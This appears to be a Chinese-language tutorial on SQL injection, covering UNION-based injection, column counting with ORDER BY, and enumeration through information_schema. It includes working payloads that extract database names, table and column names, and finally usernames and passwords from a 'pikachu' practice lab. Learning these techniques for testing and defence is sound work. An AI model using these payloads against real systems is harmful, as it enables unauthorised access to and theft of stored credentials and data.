🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
## 注入攻击的攻击手法 主要有:联合查询(union)注入、布尔盲注(base on boolian)、时间盲注(base on time)、报错信息注入、宽字节注入、偏移注入等。 ## 联合查询(union)注入 所谓联合查询注入即是使用union合并**两个或多个**SELECT语句的结果集,第二个语句中就包含我们想要查询的语句 ```SQL # payload a' union select database(),user(),version() #% ``` ### 先使用order by确定字段个数 **union 操作符一般与 order by 语句配合使用来确定可以查询的字段个数** >因为查询的字段不能超过主查询的字段,可以先在 SQL 语句后面加 order by 进行排序,通过报错内容确定到底有几个字段可供使用 ~~~sql #采用二分法找到最大的可排序列,即是可查询的字段个数 a' order by 4 #% # 假定最后4不报错,5报错,则可确定有4个字段,payload可以这样 a' union select database(),user(),version(),4 #% # 如果第二个字段才能显示在屏幕上,那么payload需这样凑成四个字段 a' union select 1,username,3,4 from user #% ~~~ ## information_schema 注入 information_schema数据库是MySQL5.0及以上系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。 如果我们用于注入的账号,有能够读取该库的权限,那么我们离脱裤就非常非常近了 ### information_schema中的常用表 ~~~sql information_schema.tables #该库中保存其他库表名字的表 table_schema #上表中,保存库名的列 table_name #上表中,保存表名的列 information_schema.columns #改表中保存每个表的列名 table_name #上表中,保存表名的列 column_name #上表中,保存列名的列 ~~~ ### 一次完整的拆解获取过程 按照数据库的库-表-字段这个层次性进行一步步渗透 ~~~sql #1 先通过union找出数据库的名称 a' union select database(),user(),3 #% #2 得到要爆破的数据库名pikachu后,获取相关表名 u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu' #% #3 获取表名后,查询columns表获取字段名 k' union select table_name,column_name,3 from information_schema.columns where table_name='users' #% #4 最后通过具体表获取相关数据 kobe 'union select username ,password,3 from users #% ~~~